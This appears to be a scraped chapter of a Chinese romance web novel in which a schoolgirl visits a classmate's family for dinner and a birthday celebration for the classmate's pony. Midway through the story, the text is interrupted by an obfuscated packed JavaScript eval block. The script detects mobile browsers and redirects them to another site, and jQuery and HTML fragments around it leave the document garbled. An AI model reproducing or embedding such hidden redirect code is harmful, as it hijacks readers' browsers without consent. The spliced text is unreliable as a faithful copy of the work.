正主不在,戴琴又开始提心吊胆。可想到这是对方的卧室,稍稍镇定了点。
书她是不会看的,毕竟第一次来别人家里,什么也不做好像也不太好。戴琴微微蹙眉,环顾四周,想了想终究还是起身,捞起敖小陆的书本按照对方大概的排布方式,放回她那些空荡荡的书架上。
大多数思维活跃,想象力丰富的人,都不太擅长收纳。
戴琴和敖小陆同桌那么长时间,就没见她桌面整齐过。什么练习册和书本,小说杂志之类的,乱七八糟叠在一起,每一次找起来都要好一会。
地上的书好整理,没一会就放好了。倒是她那些乱七八糟的颜料画笔不好收,尤其是颜料,戴琴见得少,很难分清楚是什么颜色,又属于哪一套的。只好地毯式搜索了一遍,按照外包装大致拢在一起,拢成一堆放在一旁。
她做事很细致,一上心就变得很投入。整理着,整理着,竟然都没听到有脚步声往上走,等脚步声在门口停下好一会,戴琴才后知后觉抬眸,看向了房门外,顿时吃了一惊。
不知何时起,面前站了一个小女孩。女孩身高大概在一米五六左右,穿着颜色鲜亮的蓝色袄子,系着红领巾。她的面庞圆润,除了一双小鹿眼与敖小陆有几分相似,五官比对方要柔和很多,一张小脸红扑扑的。
戴琴有些手足无措,强自镇定后主动开了口:“你好……”
戴琴话音落下,小孩迅速涨红了一张脸,背着书包转身就走,吭哧吭哧地进了隔壁房间,“砰”地一声关上了门。
关门声挺大的,吓了戴琴一跳。
她是家中老小,并没有和比自己年纪小很多的孩子相处过,也不懂这个年纪的孩子在想什么。难不成……是因为自己在敖小陆的房间收拾东西,被她讨厌了吧?
隔壁的房门一直没开,戴琴忧心忡忡。这时敖小陆洗完澡上来了,看到自己比之前干净不少的地板,夸张地“哇”了一声。
她用毛巾擦着头发,踩着拖鞋进到自己的房间,环顾一周,惊叹道:“你好厉害啊。”
戴琴被她夸得有些不好意思:“只是收拢了一下你的书,没什么好厉害的。”
“已经很厉害了,我自己收的话,不一定能做得比你好呢。”敖小陆夸赞了一句,将毛巾搭在自己肩上,推着戴琴的身体往外走:“走,先不管房间了,下楼洗澡吧。”
“我妈在做饭呢,洗完澡就能吃饭了。”
戴琴并没有在这里洗澡的打算,这年头无论是煤炭还是木头,都挺贵的,她不想麻烦敖小陆。于是被推着往前走的时候,她挣扎道:“不用了吧,我一会回学校再……”
“别客气,别客气。”敖小陆乐呵呵的,落在戴琴肩头的手很有力道,将她轻而易举地推了出去,“水我都给你打好了,衣服和毛巾也放在里面,你直接进去洗就好了。”
“可是……”
戴琴你的反抗微不可计,就这么被敖小陆推下楼。
敖小陆的冲澡房就在厨房里头,进去的时候碰到阿尔丽正在炒菜。她听到两个小姑娘在争执,扭头往厨房门口一看,一眼就看到那个文秀漂亮的姑娘,“嚯”了一声:“这就是戴琴吧,好俊的姑娘啊。”
阿尔丽是个裁缝,嘴巴和手一样巧,方圆十里全都是她的顾客。
她不仅手巧,模样也很漂亮。和这个年轻大多数丰腴粗笨的妇女不同,她的腰肢要纤细很多,此刻穿着好看的碎花裙子,漆黑浓密的头盘在后脑勺,用红色的丝巾绑了个精巧的蝴蝶结,时尚大方还很靓丽。
戴琴害羞地红了脸,轻声喊了一声:“阿姨好。”
“哎!”阿尔丽很高兴地应了,指着冲澡房很是豪爽道,“你先去洗澡啊,洗完澡就开饭了。”
戴琴可以拒绝敖小陆,却缺乏拒绝长辈的经验。她只好红着脸点点头:“麻烦阿姨了。”之后在敖小陆的千叮咛万嘱咐之下,进了冲澡房。
同样是烧木材,敖小陆家的冲澡房却便利很多,已经相当接近现代农村住房的布局,将浴室和厕所结合在了一起。
因为搭建在厨房里,内里很暗,不过拉亮白炽灯后亮了许多。凉水是用水管接进去的,拧开水龙头后就能用。
戴琴试了试冷水得水龙头,再去翻开门板用布袋子挂着的衣服,发现几乎都是新的,一时间有些惊讶。
她想了想,俯身探了探水龙头下木桶里的热水温度,这才小心地拧开水龙头,开始放冷水。
细细的水声里,她深吸一口气,才将手放在自己外衣的扣子上,慢条斯理解了起来。以前她也在亲戚家洗过澡,但都觉得稀疏平常,可不知道为什么,这一次她却觉得心跳得厉害,整个人都如同藏在草丛里的兔子,生怕猎人发现自己那样紧张。
门板之外,敖小陆没有离开,在厨房里给妈妈烧火,一边烧火,一边和妈妈说话。
她的声音很清亮,比水管滴下的声音还要悦耳动听:“我和你说啊妈妈,今天我和小梅去参加骑马比赛了,你猜我得了第几名?”
阿尔丽翻炒着锅里的菜,笑眯眯的:“你让妈妈猜啊?那还用猜嘛,我们小梅那么厉害,肯定是第一名啊。”
敖小陆不满地抗议:“只有小梅厉害嘛,我也很厉害的!”
“呵呵呵……”
浓郁的菜香隔着薄薄的门板传了过来,陌生的环境里,戴琴听着敖小陆熟悉的声音,略微感到心安。
门外的两母女还在交流着运动会的事情,戴琴的衣物也脱了大半。正准备褪下最后一件衣物时,一道陌生的男声传了进来:“阿尔丽,我买了只烤鸭,你再热热……”
戴琴的手顿住了。她望着薄薄的门板,浑身冒起鸡皮疙瘩。
幸好敖小陆的声音及时插了进来:“知道了知道了,爸爸你快出去,厨房没有你的事。”她的脚步声往外走,将那道突如其来的声音,推了出去。
戴琴松了一口气。
敖小陆似乎拿了烤鸭回来,嘟囔道:“我说刚才爸爸怎么不在家,原来去买烤鸭了。”
阿尔丽就笑:“你难得带朋友到家里来,你爸爸很开心的。”
“是吗?”敖小陆将话题转回来,继续谈她的运动会去了。
接下来的一段时间里,再没有人进来,戴琴高度紧绷的神经得以放松,舒舒服服地洗了一个热水澡。
只不过换衣服的时候,她还是没有换上敖小陆为她准备好的衣服,穿着自己的旧衣服,一身水汽地出来了。
门一打开,敖小陆和阿尔丽齐齐朝她看去。在戴琴不知所措的眼神里,阿尔丽一铲子铲向锅里,将最后一铲鸭肉舀到盘子里:“开饭”
于是刚洗完澡的戴琴,又被敖小陆牵着坐在桌位上准备开始吃晚餐。
和戴琴家一样,敖小陆家也是一张八仙桌。只不过桌子更加新,整张桌子都漆了油,桌面铺上了蓝底雏菊花样的白边方正桌布,看起来就很讲究。
比桌布更讲究的,是她们家的餐具,从餐盘到碗碟,无一不是木做的。烤鸭,红烧鱼,红烧茄子,萝卜羊排,烧羊肉等八个菜,满满地摆了一桌。
戴琴很惊讶,看了敖小陆一眼。敖小陆却戳着碗碟,很得意地和她说:“这都是我做的,厉害吧!”
臭屁死了。
戴琴下意识想损她两句,可一想到这是在她家,点了点头:“嗯嗯嗯,厉害。”
她应得敷衍,这时在二楼见过的那个小妹妹捧着两碗饭放在她们这一排,飞快地瞄了眼戴琴,小小声道:“姐姐吃饭。”
戴琴惊讶地朝她看去,小妹妹已经拿着碗转身,继续盛饭去了。
敖小陆笑眯眯地看着她的背影,和戴琴介绍:“这是我妹妹,叫做小羊,今年上小学六年级。”
敖小陆……敖小河……戴琴回眸,笑得勉强:“你们家取名还挺……”
“嗯?”
戴琴憋了好一会,才憋出好一句话:“挺有意思的。”
“嘿嘿……”敖小陆笑了起来,煞有介事道,“你难道没有听过一句老话吗?名字越简单,娃娃越好养。”
“受教了,我现在听过了。”
她们两人在斗嘴,对面的阿尔丽就笑眯眯地看着她们。等敖小河给全家盛好饭,阿尔丽才宣布开饭。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240093|197689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
敖家没有食不言寝不语的习惯,饭桌上老多话了。
尤其是敖小陆,叭叭叭说了一堆,说戴琴是她们班的英语课代表,普通话说得好,广播站和学生会的人抢着要。
还说她学习成绩很好,每一门考试,几乎都是班上第一。
她把戴琴夸得天上有地上无,夸得人家非常不好意思。阿尔丽听了特别上心,一边给戴琴夹菜,一边夸赞道:“好厉害的娃娃咧。”
她这么说着,还不忘套上了天下所有父母的通用模板:“小鹿的成绩就不是很好,她不太擅长这个,你要是有时间,可要多帮帮她。”
戴琴只好红着脸说:“一定一定……”
这顿饭吃得戴琴很撑,下了饭桌之后,她跟着阿尔丽和敖小河一起,将碗筷收进了厨房。
阿尔丽连忙阻止了她:“不用不用,你是客人……”绕是如此,戴琴还是端着碗筷进去,和敖小河一起把碗筷洗了。
吃完晚饭之后,总算到了今天的正题:给小梅过生日。
说是过生日,敖小陆还真的带着戴琴前往马棚,和敖小河一起给小梅唱了首生日歌。
戴琴这辈子也没唱过几次生日歌,更不要说给马唱了。她实在是唱不出口,只能站在敖小陆和敖小河旁边鼓掌打节拍。
敖小陆看到她这副窘迫的样子,得意得哈哈大笑。要不是顾忌小梅还在,戴琴真想拧她两下。
唱完生日歌之后,敖父敖虎和敖小河抱着一顿新割的鲜草走进马棚,嗅到青草味道的小梅高兴得摇头晃脑,甩着尾巴,前后跳动,活似在跳舞。
要知道,通常八月底开始,牧人就开始收割草场,垒成草垛,作为牛羊和马儿秋冬的干粮。很多时候,一直到开春三四月份,它们才能食用鲜草。
此时能吃到青草,对于小马来说,就相当于物质贫瘠的家庭长大的孩子,尝到一年一度的生日蛋糕。
小马兴奋得嗷嗷叫,一个劲地去拱敖小陆,和粘人的小狗差不多。
敖小陆摸着它的脑袋,被它拱得一直瑟缩着肩膀躲:“好了好了……我要去上学了,再不走就要迟到了!”
“你乖乖的,我下周放学就回来看你啊。”
敖小陆好一阵安抚,总算让小梅消停了。她和戴琴出门的时候,已是暮色四合时分。太阳已经落下有二十多分钟了,整个天空灰蓝灰蓝的,空气里泛着冷冽的蓝色,好似蜂窝煤烧出来的蓝色焰火,冷冷清清。
两人脚步轻快地迈过桥,潺潺河水声远去,饭香与烟火气从四面八方围拢而来,在深秋的傍晚熏出一丝暖意。
敖小陆蹦蹦跳跳地走在戴琴身边,高高兴兴道:“感谢你今天来给小梅过生日,它今晚过得很开心。”
戴琴看着她脸上的笑,心里止不住在想,哪里是小梅开心,我看是你开心吧。
不过她没说,她怕戳破了这件事,敖小陆更得意。于是她点点头,说了一声:“嗯。”
敖小陆笑笑,面对着戴琴倒着走,放缓了声音:“那你生日又是什么时候啊?等你生日的时候,我和小梅一起给你过吧。”
“就当……感谢你这次给小梅过生日。”
戴琴脚步一顿,抬眸对上了敖小陆的视线。在这样灰色的清冷蓝调里,她那双黑眸好似秋天的潭水,又深又沉。
戴琴哪里听不出她的意思,淡淡扫了她一眼,假装随意地经过她身旁:“不要。小梅给我过生日有什么好,它也只会送我草。”
敖小陆连忙转身跟了上去,略显几分急切:“这不是还有我嘛,我又不会送你草,我请你吃蛋糕。”
戴琴微微勾起了唇角,背着手翘了起来,但语气还是淡淡的:“”也不要,我又不爱吃蛋糕。”
敖小陆追着问:“那你说,你喜欢吃什么,我送你。”
“嗯……”戴琴想了想,“没想好……”
敖小陆:“那你想好记得和我说。”
戴琴轻哼了一声,故意逗她:“到时候再说吧。”
她们就这件事拉扯了几天,几天过后,一次偶然的机会,敖小陆还是知道了戴琴的生日。